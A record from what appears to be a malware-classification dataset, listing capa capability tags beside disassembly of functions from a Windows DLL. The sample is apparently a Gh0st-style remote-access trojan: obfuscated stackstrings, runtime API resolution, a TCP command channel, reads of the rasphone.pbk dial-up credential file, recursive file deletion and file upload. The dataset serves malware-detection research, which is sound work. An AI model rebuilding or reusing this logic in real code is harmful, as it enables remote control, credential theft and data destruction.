joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002030
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x100195d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001ac0
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001ac0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001ac0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001ac0
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1001a218
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002310
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetLastError
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.ResetEvent
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call edi
push eax
call ebp
push str.WSAIoctl
push str.WS2_32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
mov ecx, esi
mov dword [esp + 0x1c], eax
call fcn.100028b0
mov ebx, dword [sym.imp.MSVCRT.dll_puts]
push 0x1001d0a0
call ebx
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [esp + 0x18]
push 0x1001d0a0
mov byte [esi + 0xb5], 0
call ebx
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x100023c0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x2c
ret 8
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [esp + 0x44]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov dword [esp + 0x44], eax
call dword [sym.imp.MSVCRT.dll_putchar]
mov eax, dword [esp + 0x44]
add esp, 4
test eax, eax
jne 0x100023f9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x2c
ret 8
push 0x1001d0a0
mov word [esp + 0x30], 2
call ebx
mov edx, dword [esp + 0x48]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x32], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x40]
mov ebx, dword [esp + 0x18]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x30], eax
call ebx
push str.connect
push str.WS2_32.DLL
call edi
push eax
call ebp
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x2c]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10002467
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x2c
ret 8
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov byte [esp + 0x17], 1
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100024e4
push 0x30
mov dword [esp + 0x24], 1
mov dword [esp + 0x28], 0xea60
mov dword [esp + 0x2c], 0x1388
call edi
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x20]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [esp + 0x40]
push 0x30
call edi
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002520
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000f960
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 8
Function at 0x100028b0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SetEvent
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CancelIo
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.InterlockedExchange
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov ebx, eax
mov word [esp + 0x14], 1
mov word [esp + 0x16], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x10]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [esp + 0x18]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call ebx
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call ebp
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10002b20
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push str.Sleep
push str.KERNEL32.dll
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
mov ebx, dword [esp + 0x20]
cmp edi, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x10], edi
jb 0x10002bde
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x28], 0
push 0x1001d0a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebp
test edi, edi
jg 0x10002bad
mov eax, dword [esp + 0x28]
inc eax
cmp eax, 0xf
mov dword [esp + 0x28], eax
jl 0x10002b72
cmp dword [esp + 0x28], 0xf
je 0x10002c14
mov edx, dword [esp + 0x20]
push 0
add edx, edi
add ebx, esi
mov dword [esp + 0x24], edx
call ebp
push 0xa
call dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10002b6a
mov ebp, dword [esp + 0x14]
mov edi, eax
test edi, edi
jle 0x10002c08
xor esi, esi
mov edx, dword [ebp + 0xa8]
push 0
push edi
push ebx
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002bff
inc esi
cmp esi, 0xf
jl 0x10002be4
cmp esi, 0xf
je 0x10002c14
add dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
je 0x10002c17
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
Function at 0x10002c40
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002c53
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002c81
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret

Function at 0x10004190
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
sub esp, 0x22c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.GetPrivateProfileSectionNamesA
mov edi, ecx
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.lstrcatA
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call ebx
push eax
call ebp
push str.lstrcpyA
push str.KERNEL32.dll
mov esi, eax
call ebx
push eax
call ebp
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call ebx
push eax
call ebp
lea ecx, [esp + 0x2c]
push 0x105
push ecx
mov dword [esp + 0x1c], 0
call eax
push str.Documents_and_Settings_
lea edx, [esp + 0x30]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [esp + 0x18]
mov eax, dword [edi + 0x14]
lea ecx, [esp + 0x2c]
push eax
push ecx
call esi
lea edx, [esp + 0x2c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
call esi
push 0
lea eax, [esp + 0x138]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x134]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
lea edx, [esp + 0x13c]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x144]
push 0x1000
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea edx, [esp + 0x38]
add esp, 0x14
mov esi, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], 2
push str.lstrlenA
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov dword [esp + 0x20], eax
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push ecx
push 0x1000
push esi
call dword [esp + 0x28]
mov al, byte [esi]
mov edi, esi
test al, al
je 0x100042e8
mov edx, dword [esp + 0x14]
push edi
inc edx
mov dword [esp + 0x18], edx
call dword [esp + 0x24]
lea edi, [edi + eax + 1]
cmp byte [edi], 0
jne 0x100042d1
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
add ecx, 4
dec eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], eax
jne 0x1000429a
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x22c
ret
Function at 0x100053a0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a240
push 0x10019398
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.GetLastError
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x38], eax
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebx, eax
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x2c], eax
push str.CreateDirectoryA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
push str.GetFileAttributesA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call ebx
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x1000556c
push esi
push edi
call dword [ebp - 0x2c]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100054b5
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100054b5
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005490
cmp al, 0x5c
je 0x10005490
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005478
cmp byte [esi], 0
je 0x10005499
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100054ae
cmp al, 0x5c
je 0x100054ae
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005496
cmp byte [esi], 0
je 0x100054d4
jmp 0x100054d0
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100054d4
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100054d4
cmp al, 0x5c
jne 0x100054d4
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x10005530
cmp al, 0x5c
jne 0x10005522
mov byte [esi], 0
push edi
call dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x10005515
push 0
call ebx
push 0
push edi
call dword [ebp - 0x24]
test eax, eax
jne 0x1000551f
push eax
call ebx
call dword [ebp - 0x38]
cmp eax, 0xb7
je 0x1000551f
push 0
call ebx
push edi
jmp 0x10005563
and eax, 0x10
cmp al, 0x10
je 0x1000551f
push edi
jmp 0x10005563
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100054da
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005af0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x48c
mov dword [esp + 0x3c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.FindFirstFileA
push str.KERNEL32.dll
mov dword [esp + 0x50], eax
call esi
push eax
call edi
push str.FindNextFileA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.FindClose
push str.KERNEL32.dll
mov dword [esp + 0x4c], eax
call esi
push eax
call edi
push str.DeleteFileA
push str.KERNEL32.dll
mov dword [esp + 0x48], eax
call esi
push eax
call edi
mov dword [esp + 0x3c], eax
mov al, 0x2a
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x73
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x2e
mov byte [esp + 0x15], al
mov edi, dword [esp + 0x4a0]
lea edx, [esp + 0x10]
push edi
lea eax, [esp + 0x194]
mov byte [esp + 0x1a], bl
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push edx
push eax
call ebx
add esp, 0xc
lea ecx, [esp + 0x50]
lea edx, [esp + 0x190]
push ecx
push edx
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005c5f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x48c
ret 4
cmp byte [esp + 0x7c], 0x2e
je 0x10005cb1
test byte [esp + 0x50], 0x10
lea eax, [esp + 0x7c]
push eax
push edi
push str._s_s
je 0x10005c98
lea ecx, [esp + 0x3a4]
push ecx
call ebx
mov ecx, dword [esp + 0x5c]
add esp, 0x10
lea edx, [esp + 0x398]
push edx
call fcn.10005af0
jmp 0x10005cb1
lea ecx, [esp + 0x2a0]
push ecx
call ebx
add esp, 0x10
lea edx, [esp + 0x294]
push edx
call dword [esp + 0x40]
lea eax, [esp + 0x50]
push eax
push esi
call dword [esp + 0x4c]
test eax, eax
jne 0x10005c5f
push esi
call dword [esp + 0x44]
push edi
call dword [esp + 0x4c]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x48c
ret 4
Function at 0x10005ce0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebp, ecx
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x2c], ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.LocalFree
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
push str.CloseHandle
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x39], al
mov byte [esp + 0x3c], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x31], al
mov byte [esp + 0x35], al
mov byte [esp + 0x3d], cl
mov byte [esp + 0x42], cl
mov byte [esp + 0x43], cl
mov byte [esp + 0x34], cl
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x38]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x42], dl
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4c], 0
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x35], dl
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x3a], 0x46
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], 0
call esi
push eax
call edi
push str.LocalAlloc
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
lea edx, [ebp + 0x20]
mov ebp, dword [esp + 0x4c]
mov dword [esp + 0x1c], eax
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push bind
push ebp
rep movsb byte es:[edi], byte [esi]
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005e38
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x38
ret 4
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [esp + 0x1c]
push edi
mov esi, eax
call dword [esp + 0x1c]
push ebp
call dword [esp + 0x14]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [esp + 0x24]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x20]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x4c]
push esi
mov dword [ebx + 1], eax
call dword [esp + 0x14]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x2c]
call fcn.1000b920
push ebx
mov esi, eax
call dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 4
Function at 0x10005ec0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
push str.ReadFile
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov dword [esp + 0x1c], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x35], al
mov byte [esp + 0x38], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x31], al
mov byte [esp + 0x39], cl
mov byte [esp + 0x3e], cl
mov byte [esp + 0x3f], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x28]
lea ecx, [esp + 0x34]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3e], dl
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], dl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
push eax
call edi
push str.LocalAlloc
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.LocalFree
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov edi, dword [esp + 0x48]
mov dword [esp + 0x24], eax
cmp dword [edi + 4], 0xffffffff
jne 0x10005fda
mov ecx, ebx
call fcn.100060a0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x34
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebx + 0x20]
push bind
push edx
call ebp
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10006005
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x34
ret 4
mov eax, dword [edi + 4]
push 0
push edi
push eax
push ebp
call dword [esp + 0x24]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [esp + 0x20]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
mov byte [esi], 0x6a
mov ecx, dword [edi]
mov dword [esi + 1], ecx
mov edx, dword [edi + 4]
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push ebp
mov dword [esi + 5], edx
call dword [esp + 0x30]
push ebp
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10006075
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.1000b920
push esi
mov edi, eax
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4
mov ecx, ebx
call fcn.100060a0
mov edi, dword [esp + 0x48]
push esi
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4